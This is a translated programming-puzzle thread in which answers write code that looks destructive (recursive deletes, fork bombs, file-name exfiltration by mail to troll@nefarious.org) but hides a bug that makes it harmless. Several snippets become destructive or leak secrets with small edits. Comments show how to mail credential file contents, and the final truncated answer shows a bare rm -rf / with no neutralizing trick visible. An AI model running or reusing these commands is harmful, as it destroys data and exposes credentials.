Троллинг [закрыто]


184

Тролль захватил вас и заставляет писать вредоносные программы (определяемые как программы, которые повреждают компьютер, на котором он работает). Тролль умеет читать и понимать код, но не очень хорошо замечает ошибки.

Ваша цель - написать программу, которая:

  1. Выглядит как вредоносная программа; то есть начинающий программист, читающий код, будет убежден, что код наносит ущерб компьютеру, на котором он работает.
  2. На самом деле не наносит ущерба вообще.

ПРИМЕЧАНИЕ: тролль читает только код, а не комментарии. Так что сам код должен быть понятным и достаточно убедительным.

ПРИМЕР (bash):

rm - rf /home

Этот пример выглядит так, как будто rm -rf /homeвсе домашние папки удаляются из системы, но на самом деле из-за свободного места перед rf это не сработает и вызовет только безопасное сообщение об ошибке.

Это приемлемое решение, но оно не очень хорошее, потому что ошибку довольно легко обнаружить.

С другой стороны, программа, которая является сложной и нечитаемой, также не будет очень хорошим решением, потому что она не будет выглядеть как вредоносная программа.

Хорошее решение должно быть достаточно читабельным, чтобы убедить читателя в том, что это вредоносное ПО, но содержать ошибку, которую трудно обнаружить, и которая делает его безвредным.

Это конкурс популярности, поэтому выигрывает код с наибольшим количеством голосов.


160
Я чувствую, что вы пытаетесь обмануть меня, чтобы вставить rm - rf /в мою раковину ...
подземный

19
Bash rm -rf /. Если система не очень старая , она потребует --no-preserve-root:)
user80551

10
-1 потому что а) троллинг кода и, что более важно, б) меня очень волнуют любые вопросы, касающиеся создания вредоносных программ (даже если это фальшивка, она очень близко).
Гарет

13
@Gareth На самом деле это не вредоносная программа (хотя обычно она пытается скрыть и / или украсть данные), это в основном совершенно очевидные попытки удалить вещи, которые любой начинающий программист может написать без особых усилий.
Боб

29
rm - rf /неверный пример! Это может привести к повреждению, если у вас есть файл с именем rfв текущем каталоге
gnibbler

Ответы:


139

удар

Я пошел другим путем. Вместо того, чтобы удалять все на вашем жестком диске, я собираюсь заполнить его мусором.

Этот сценарий создает папку, затем постоянно catобъединяет все файлы и помещает их в новый, добавляя значение ls -alдля хорошей меры (и чтобы в исходном файле было что-то).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

Кроме...

/ bin / bash / (вместо / bin / bash) вряд ли будет правильным интерпретатором. Это просто распространенная моя опечатка. И, поскольку «технически комментарий Шебанга, тролль проигнорирует его»


56
+1. Первая строка в скрипте является слепым пятном для многих программистов (включая меня).
Эрель Сегал-Халеви

44
а шебанг технически является комментарием, поэтому тролль его проигнорирует
Брайан Минтон,

14
+1 за злоупотребление комментирующим комментарием :) это действительно не очевидно
masterX244

37
Запуск этого, как bash whatever.shразрушит ваш трюк ...
Darkhogg

8
@ Дархогг, какая удача! Я сохранил его evil.commandтак, чтобы тролль мог просто дважды щелкнуть по нему, чтобы открыть (по крайней мере, на Mac)
Джеймс Вебстер

114

Haskell

Проверьте эту страницу руководства , removeDirectoryRecursiveудаляет каталог со всем его содержимым!

import System.Directory
main = return (removeDirectoryRecursive "/")

Правильный код будет такой main = removeDirectoryRecursive "/"
: mainфункция должна возвращать концепцию действия. removeDirectoryRecursive "/"возвращает концепцию очистки вашей файловой системы, но returnфункция (да, это функция) оборачивает свой аргумент в фиктивную концепцию возврата этого значения.
Таким образом, мы в конечном итоге получили концепцию возвращения концепции очистки вашего диска. (Да, черт, мне нравятся концепции.) Среда выполнения haskell выполняет концепцию, возвращаемую из mainвозвращаемого значения, и отбрасывает возвращаемое значение, которое в нашем случае является концепцией очистки вашей файловой системы.


85
+1. Я не мог понять ошибку даже после того, как прочитал ваше объяснение ...
Эрел Сегал-Халеви

3
Как я понимаю, это ошибка указателя (указатель на указатель на функцию вместо указателя на функцию). Довольно хорошо, начинающие программисты, как правило, легко справляются с трюками с указателями.
Габорист

3
По сути, это будет похоже на то, return removeDirectoryRecursive;что есть return removeDirectoryRecursive();в C, это правильно?
3Doubloons

4
@ user1121352 Нет. Сама функция вызывается, но не может удалить файл, потому что он чистый. Вместо этого он дает действие ввода-вывода, которое при возврате из mainнего выполняется и удаляет файл. Однако явное использование returnфункции создает действие ввода-вывода, целью которого является просто создание значения.
Мниип

4
@Cthulhu не returnимеет ничего общего с returnдругими языками (или даже с «возвратом» значения из функции). Значения типа также не IO aимеют ничего общего с функциями других языков. Таким образом, аналогия довольно волнистая
Никлас Б.

103

PHP

Вот рекурсивный скрипт PHP, который пытается удалить каждый файл на вашем сайте. Завершение может занять некоторое время, если веб-сайт довольно большой, так что наберитесь терпения ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Только одна маленькая проблема ...

В PHP нет команды delete () . Сценарий завершится ошибкой, как только встретится с этой командой, но сообщение об ошибке не будет отображаться, так как сообщение об ошибке было подавлено префиксом этой команды с @ . Мигающее изображение GIF создает впечатление, что что-то происходит, когда абсолютно ничего не происходит.


31
^ насколько я понимаю: функции delete () нет, руководство просто говорит, что это «фальшивая запись» для всех, кто ищет нужную функцию (unlink). Это не означает, что в PHP есть какое-то «автоматическое» перенаправление.
Эрти-Крис Элмаа

93
@ user11153 получил троллинг.
Башер

34
Видите, я думал, что причина ошибок будет игнорироваться, а выполнение будет продолжаться, потому что это был PHP.
Зои

17
Я думаю, что использование случайной несуществующей функции является очевидным ( deleteдля удаления файлов? Нет причин предполагать, что это кого-то обманет). Как насчет unlⅰnkвместо этого (который использует U + 2170 вместо «i»)?
Конрад Рудольф

18
@KonradRudolph Функция, названная deleteдля удаления файлов, полностью правдоподобна в PHP. Единственное, что не является правдоподобным, это то, что если бы это было реально, было бы 3 или 4 других способа сделать это, и все, кроме одного с самым странным именем, имели бы серьезные недостатки безопасности.
Брендан Лонг

93

Perl (Unix)

Удаляет все файлы в системе.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Особенности

  • Это действительный Perl. Он даже компилируется и работает с -wи use strict!

  • Нет таких придирок, как в C ++ delete. unlinkдействительно функция удаления файла, rmdirдействительно удаление каталога и т. д.

  • Корректно обрабатывает глубоко вложенные каталоги, для которых абсолютный путь может превышать максимальную длину системы, изменяя каждый каталог для использования относительных путей. Кроме того, не исчерпываются дескрипторы каталога, так как он читает и закрывает каталог перед повторным использованием.

Спойлер

В Unix первой записью в корневом каталоге обычно является «.» поэтому программа будет выполнять бесконечную рекурсию chdir (".") до тех пор, пока не закончится память и не произойдет сбой.

Дальнейшие заметки

Это было труднее понять, чем ожидалось. Если вы не используете подход chdir, вы в конечном итоге получите слишком длинный путь. Тогда -d возвращает false, и бесконечная рекурсия нарушается, и файлы могут фактически быть удалены! Подобная ошибка может произойти, если вы оставите открытыми дескрипторы каталогов; в конце концов у вас кончается opendir, происходит сбой, killdir возвращается, и удаление начинается.


45
«Тогда -d возвращает false, и бесконечная рекурсия нарушается, и файлы могут фактически быть удалены!» Вы узнали, что трудный путь?
Никлас Б.

4
@NiklasB .: К счастью, я проверил фиктивную версию :)
Нейт Элдридж

Я ожидал, что такой код может удалить только пустые папки, но не файлы ...
Qwertiy

3
Msgstr "В Unix первая запись в корневом каталоге обычно". "" Итак, еще одна вредоносная программа для Windows?
Александр

1
@timmyRS: программа вылетит . Система будет продолжать работать нормально.
Нейт Элдридж

81

Оболочка однострочная

Это украдет все пароли жертвы, личные ключи, биткойны и т. Д.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Спойлер:

Это может выглядеть так, как будто он отправляет все эти файлы по электронной почте троллю, но на самом деле он просто отправляет им имена файлов по электронной почте.


4
Чтобы отправить содержимое по электронной почте cat, команды headили tailдолжны быть где-то задействованы.
Agi Hammerthief

7
Все еще утечка данных, несмотря ни на что. Это троллинг троллинг?
Кайл Келли

-exec cat '{}' \; | …
Мартин Уедин

@queueoverflow-print0 | xargs -0 cat |
квант,

1
Я получил это без спойлера после чтения кода 2-3 раза.
nyuszika7h

74

Batch / CMD

Сохранить

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

и заставить их запустить его с параметрами каждого из дисков на компьютере.

% 0 всегда первый параметр - имя файла. После этого идет набор фактических параметров, но он уже удалил себя, поэтому он не будет продолжаться.


104
Также полагается на забавное поведение Пакета: закрывать файл и открывать его, чтобы прочитать следующую строку для каждой строки ...
Боб

8
DEL %0не будет работать, если расширение файла не указано в командной строке и сценарий не запущен с указанием полного пути, или вы находитесь в том же каталоге. DEL "%~f0"решит обе проблемы и будет устойчивым к пробелам в любом месте пути. Также %10и вверх не существует - это переводится как %1следование за литералом 0.
Jon

14
+1. Даже если тролль понимает, что делает «DEL% 0», вы можете убедить его, что это только для очистки улик, и это не причинит вреда, так как пакетный файл остается в памяти до тех пор, пока не закончится его выполнение (что неверно, как Боб сказал).
Эрель Сегал-Халеви

2
Умный тролль по-прежнему считал бы странным вводить команду для самостоятельного удаления в начале файла (а не в конце), если только вы не принимаете во внимание, насколько заведомо подвержены ошибкам пакетные сценарии.
Agi Hammerthief

10
@ Боб, я понятия не имел, что партия сделала это ... это ужасно.
w4etwetewtwet

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Что ж, оригинальная вредоносная программа не взорвет ваш компьютер, но может раздражать.

Это безвредно, потому что:

evalНарушит бесконечный цикл и изменить сообщение.


40
Я бы проголосовал за вас, но у вас 1337 респ.
scrblnrd3

5
Так что, пожалуйста, не надо! :)
Майкл М.

@scrblnd это ушло D:
Riking

11
Голосуйте за плохие ответы, пока не вернетесь к нему.
Дэвид Старки

4
Просто объяснить , для других, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') будет выполняться следующее: "infiniteLoop = ложь; evilMessage = evilMessage.replace (" спам " "любовь");"
Мохаммед Джорайд

45

Ява

Да простят меня боги за то, что я подчиняюсь твоим жалким требованиям, тролль.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec не вызывает оболочку, поэтому расширение glob никогда не происходит и команда безуспешно пытается удалить домашний каталог с буквальным названием "*"


1
Так какой же мой домашний каталог называется '*'? ;)
Vorac

6
Честно говоря, это один из лучших ответов Java. Это требует довольно четкого понимания (многих) недостатков Runtime.exec(). +1.
Qix

Есть ли в Java фактический эквивалент system()функции c ?
SuperJedi224

@ SuperJedi224 Нет, вы должны указать /bin/sh -cили cmd /cили что-то вручную. Имеет смысл, так как вы никогда не знаете, что команда будет делать на новой ОС.
тот другой парень

37

С

Так как он не читает комментарии, которые должны это сделать:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Версия C ++

спасибо DragonLord за это.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Добавьте это в папку автозагрузки и перезагрузите компьютер.

Как это устроено:

?? / - это триграф, который добавит следующую строку в комментарий, так что в основном он ничего не сделает. Примечание: не пытайтесь использовать эти триграфы в некоторых компиляторах по умолчанию и должны быть включены, чтобы это работало.


Если в каком-то компиляторе это может сработать, действительно ли это троллинг?
Антонио Раганьин,

4
Нет, но в реальной ситуации я бы предпочел не троллить тролля с таким кодом (я не хочу вредить
троллю

2
@AntonioRagagnin Если это работает на любом компиляторе, этот компилятор глючит. Однако большинство современных компиляторов предупреждают об использовании триграфов (но принимают и компилируют код).
Конрад Рудольф

8
Так что если тролль не читает комментарии и ваше решение сделать вредоносный код в комментарий, не означает ли это все тролль видит это функция mainс return 0?
Дэвид Старки

1
Это ??/действительно старый трюк ... Прости.
Isiah Meadows

33

Ява

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Использование escape-символа (\ n перед ntoskrnl.exe - это новая строка вместо обычного N)


20
Если вы не избежите других обратных косых черт, ошибка может выглядеть еще менее заметной. Тролль мог подумать, что язык не использует экранирование от обратной косой черты
3Doubloons

2
@ 3Doubloons Разве код не скомпилируется в этом случае?
Нил

2
@Neil: Хороший вопрос. Это не так, но если тролль отпустит нас, как только он будет доволен своим чтением, мы находимся в
чистоте

29
new File("C:\ntldr").delete();
Егор Скриптунов

3
@EgorSkriptunoff Мне потребовалось больше времени, чтобы понять, что XP не является вариантом XD.
Джастин

31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t выйдет после прочтения и выполнения одной команды. Этот скрипт не печатает ничего, и все файлы в безопасности!

Или следующее, НО ЧИТАТЬ СПОЙЛЕР ПЕРЕД ЗАПУСКОМ

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

По многочисленным просьбам .. #!/bin/bash -tвыйдет после прочтения и выполнения одной команды. Не запускайте эту bash -xкоманду, так как она будет игнорировать -tи выполнять команды в сценарии.


СПОЙЛЕРЫ Я немного растерялся ... какая разница между set -tи exit? Страница set -tруководства Bash сообщает, что она завершается после «одной команды», но, похоже, сама setкоманда считает эту команду и завершает работу немедленно.
Кайл Стрэнд,

6
Если дополнительные команды находятся в той же строке, что и set -t (например, разделенные точкой с запятой или двойным амперсандом и т. Д.), Они будут выполнены. В этом случае первая строка set -t; echo "hahaha deleting files.."отображает этот текст, а затем завершается.
JOgden

2
Ах. Благодарю. Не осознавал, что между поведением ;и переводом строки всегда была разница .
Кайл Стрэнд,

4
#!/bin/bash -tвозможно?
Нил

2
@JOgden, это очень плохо, bash не делает того же трюка с парсингом, что и Perl (если вы запустите perl foo.plи foo.pl начнётся #!somethingendingin/perl -flags, Perl будет действовать так, как он был вызван -flags)
hobbs

30

питон

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

три кавычки "" "начинают многострочную строку в Python


5
Неправильно, они запускают многострочные строки docs.python.org/2/tutorial/introduction.html#strings
user80551

12
Я увидел проблему буквально через пять секунд после ответа, и я даже не знаю Python.
Парень со шляпой

6
Хорошая идея, с проблемой, что, если тролль использует подсветку синтаксиса, он обнаружит это.
о0 '.

1
Я думаю, что средний тролль видит случайный вредоносный код в интернете и просто копирует его на другом форуме.
Антонио Раганьин,

1
Хорошо, у меня есть опыт работы с Python, и я не видел недостаток. Использование 4 цитат, возможно, обмануло меня.
Габорист

29

D

Эта программа действительна и выполняется без ошибок. Он порождает функцию удаления в новом потоке, которая удаляет rootкаталог.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Но ничего не удаляется ...

потому что в D переменная, объявленная в области видимости модуля, является локальной по умолчанию для потока. Эти mainфункции устанавливает его в «/», но икру нити имеет пустую копию, поэтому rmdirRecurseфункция не вызывается.


1
Хороший! Мне удалось поймать ошибку в этом, хотя я не знаю D.
Erel Segal-Halevi

1
«глобальная переменная по умолчанию является локальной для потока». Здесь есть какое-то противоречие
Никлас Б.

@NiklasB. В чем противоречие?
биозик

Тогда это не «глобальная переменная». Может быть, «переменная, объявленная на верхнем уровне» - лучшее описание?
Пауло Эберманн

Да, отредактировано! Это менее двусмысленно. Хотя это не совсем противоречие, по крайней мере, по лексике.
biozic

25

C (Unix)

Добавление рекламы никогда никому не вредило.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: это ярлык, переход на ярлык пропускает вредный код. : V


5
Мне удалось определить это :)
Erel Segal-Halevi

17
Точка с запятой в первом URL довольно легко найти в этом шрифте. Но это креативно!
CompuChip

12
Goto считается полезным

1
Я заметил это, потому что после goto нет точки с запятой. Если бы вы изменили его на goto http;//www.trolling.com;(в обоих местах), я мог бы пропустить это.
wchargin

2
В любом случае он не скомпилируется, потому что нет printфункции.
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Предупреждение не отображается. Поскольку JavaScript не требует ;в конце строк, он автоматически вставляется после return, становясь return;. Затем undefined, что ложно, возвращается вместо «объекта» (который фактически анализируется как оператор блока).


3
Искушение +1 только для использования «по-настоящему» и «ложно»;)
CompuChip

1
+1, так как этот «недостаток» в JS несколько раз застал меня врасплох ... Пришлось перечитать его пару раз, чтобы увидеть его
Марк Ормстон,

12
@NigelNquande точка с запятой не вызывает сбой, разрыв строки. Возврат и объект, который должен быть возвращен, находятся в отдельных строках, поэтому объект никогда не возвращается. Чтобы «исправить», удалите разрыв строки так, чтобы он return {
читал

3
Надеюсь, что тролль не будет минимизировать код!
Мохаммед Джорайд

2
UglifyJS говорит WARN: Dropping side-effect-free statement [-:4,11]и возвращается function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Поменяйте оповещение об уничтожении на любое неприятное разрушительное действие, которое вы захотите использовать.

Спойлер:

Хотя, похоже, конфиг настроен на удаление ... и это так ! объявление 'var' внутри функции является "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html и в результате фактически ложно при входе в функцию.


Хороший трюк, но зачем вам сбрасывать флаг?
Мохаммед Джорайд

«Сброс» был просто примером ... это может быть любая переменная, где присваивание допустимо ... просто если префикс «var» может / будет иметь непредвиденные последствия.
scunliffe

16

Ява

Давайте просто удалим некоторые важные файлы!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

В комментариях к блоку скрыто лишнее} {за пределами комментария. Это помещает удаление файла в отдельный блок инициализации экземпляра, который выполняется перед конструктором. В то время важный файл все еще не определен.


16
Мне удалось определить это :)
Erel Segal-Halevi

17
Это было бы очень и очень очевидно, если бы тролль не читал комментарии.
Приближается к

6
Я решил интерпретировать «тролль не читает комментарии» как «тролль пропускает комментарии аналогичным образом, как если бы пользователь пропускал комментарии». В этом случае может быть легко ошибочно пропустить, что эти два символа на самом деле находятся за пределами комментария.
Джо К

1
Это было единственное, что я решил, прежде чем читать объяснение, но хорошая работа!
nrubin29

15

Bash, C, Linux

Может быть, это не совсем вредоносная программа, но она может быть частью :)

Это удивительный эксплойт, который может дать вам root на любой машине с Linux! Тссс, никому не говорите, что у нас это есть!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Теперь выполните скрипт, и вы будете пользователем root! Вы можете убедиться, используя whoami!

На самом деле это обманывает все приложения, у которых UID = 0 (это идентификатор пользователя root).

Код написан Lcamtuf, источник: http://lcamtuf.coredump.cx/soft/ld-expl


+1. Действительно хороший трюк. Я до сих пор не до конца понимаю, как это работает.
Эрель Сегал-Халеви

@ErelSegalHalevi: см stackoverflow.com/questions/426230/what-is-the-ld-preload-trick подробнее о LD_PRELOAD.
mik01aj

2
Читайте дальше fakeroot(1), это библиотека, которая перехватывает вызовы различных системных функций POSIX, обманывая вызывающего абонента в том, что он имеет (поддельные) права на чтение и (ложные) записи для всей системы. На самом деле, он не будет (не может) фактически давать эти разрешения, но когда программа, например, вызывает «поддельную» chmodфункцию для файла и изменяет разрешения, fakeroot запоминает эти разрешения, чтобы statвызовы возвращали обновленные разрешения. Некоторые дистрибутивы используют это, чтобы позволить системе сборки пакетов создавать файлы с root:rootправами собственности.
sleblanc

1
Я верю, что это lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - по крайней мере, я помню, что он был там с 90-х годов
viraptor

13

удар

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

В строке "fork-bomb" есть синтаксическая ошибка. После { должен быть пробел. Без этого сценарий завершается ошибкой, поскольку определение функции не сопровождается самим символом { .


2
Вы должны добавить предупреждение (возможно, в спойлере), что это не должно быть выполнено с помощью, kshпоскольку fork bomb не является синтаксической ошибкой!
devnull


@ Денис: Не связано, я не видел это. Но интересная тема, если честно. Я знаю, как работает парсинг в bash, и поэтому я им не пользуюсь :-).
Конрад Боровски

11

Emacs Lisp

Сначала простой. Этот ничего не делает. На самом деле он пытается удалить элементы, равные: recursive, из списка, возвращаемого функцией directory-files. Он не собирается удалять какие-либо файлы.

(delete :recursive
    (directory-files "/"))

Вот тот, который может поставить в тупик даже ветеринары Элиспа.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Это всего лишь 1 символ от удаления вашего корневого каталога.

emacs lisp позволит jsut в любом случае быть именем символа (переменная, функция, макрос и т. д.). Можно использовать юникод в названии ваших символов, и это то, что здесь происходит.

setqможет принимать любое количество аргументов (setq a 3 b 4), как делать a = 3; б = 4; но (setq a 3 b)также действует и делает a = 3; б = ноль;

Возвращаемое значение `setq '- это значение, назначенное последней переменной. 4 и ноль соответственно в примерах.

(setq a 3 b)это именно то, что происходит в коде, но вместо б я использую символ пробела Юникод. Я присваиваю значение nil переменной, имя которой является символом Unicode 0x2001. Из-за этого nil возвращается setq и условие цикла while никогда не выполняется. Уберите этот пробельный символ, и он будет работать нормально.


10

Просто еще один Perl-хакер.

Я написал это в 2002 году , когда болтался в Perlmonks и вообще просто старался максимально расширить свои знания Perl. Не редактировал его вообще, но он все еще работает.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Если я правильно помню, BEGINблок запускается в первую очередь, независимо от того, где он находится в коде. Он заменяет тот, @INCкоторый определяет, откуда Perl загружает свои библиотеки, подпрограммой (обычно это набор путей, но это разрешено). Подпрограмма - это фактически запутанный блок данных, который выполняет некоторое регулярное выражение + eval magic. Затем, когда код попадает require File::Path;(он не работал бы use), эта подпрограмма исполняется и просто печатает «Просто еще один Perl-хакер», как это принято, и завершается. Остальная часть кода никогда не достигается.


1
Вау, мне потребовалось некоторое время, чтобы понять, что делает этот код (но я не читал спойлер). Я декодировал этот блок вызова regex (это тот же метод, который я использовал в codegolf.stackexchange.com/a/23871/3103 ), и мне нравится, как он содержит exitкоманду (с бессмысленной точкой с запятой после нее, но не то, чтобы она имела значение ).
Конрад Боровски

Хе-хе, сам должен был в этом разобраться, ведь ему 11-12 лет. Точка с запятой, вероятно, просто для того, чтобы все выстроилось аккуратно.
Стоффе

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

На первый взгляд, $conditionложно, но =оператор имеет приоритет над and, поэтому условие истинно. Так что зло никогда не бывает.


8

C ++ с Boost

Это удалит все файлы в файловой системе

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

На самом деле это не так. deleteв C ++ используется для освобождения памяти, выделяемой, newа не для удаления файлов и каталогов. Скорее всего, программа завершится с ошибкой сегментации, поскольку попытается освободить память, выделенную Boost, но к тому времени я избежу плена тролля.


+1. Это не легко обнаружить, поскольку он даже компилируется без ошибок.
Эрель Сегал-Халеви

2
Не является ли первая проблемная строка неопределенным поведением? В этом случае он может фактически удалить все свои файлы.
aschepler

1
@aschepler: «UB может удалить все ваши файлы». Это забавное объяснение того, что вы не можете предсказать, что произойдет при вызове UB, но обычно это невозможно. Если бы у тролля был компилятор, который стирает жесткие диски на UB, он не заставил бы нас написать ему вредоносную программу
3Doubloons

2
Подсветка синтаксиса дала бы подсказку
троллю

8

Ява

Это сделает вид, что загружает ОЗУ, но удалит домашний каталог пользователя.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerиспользует фоновую ветку для вызова ваших сообщений, которые TimerTaskвы ему отправили. new Timer(true)создает Timerс фоновым потоком, установленным в качестве потока демона, поэтому программа просто завершает работу непосредственно перед тем, как запускать задачи. Слишком длинный код отвлекает тролля от просмотра trueпараметра.


7
rm -rf ⁄

Символ не является обычным символом косой черты (/, т. Е. SOLIDUS в Юникоде), но вместо этого это FRACTION SLASH. Напечатает сообщение типа «rm: ⁄: нет такого файла или каталога»


10
О, действительно позвольте мне попробовать ....
Майкл Дж. Калкинс

1
@MichaelCalkins: вы можете попробовать это как непривилегированный пользователь и увидеть сообщение «not found» ... надеюсь.
Оливье Дюлак

7

удар

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

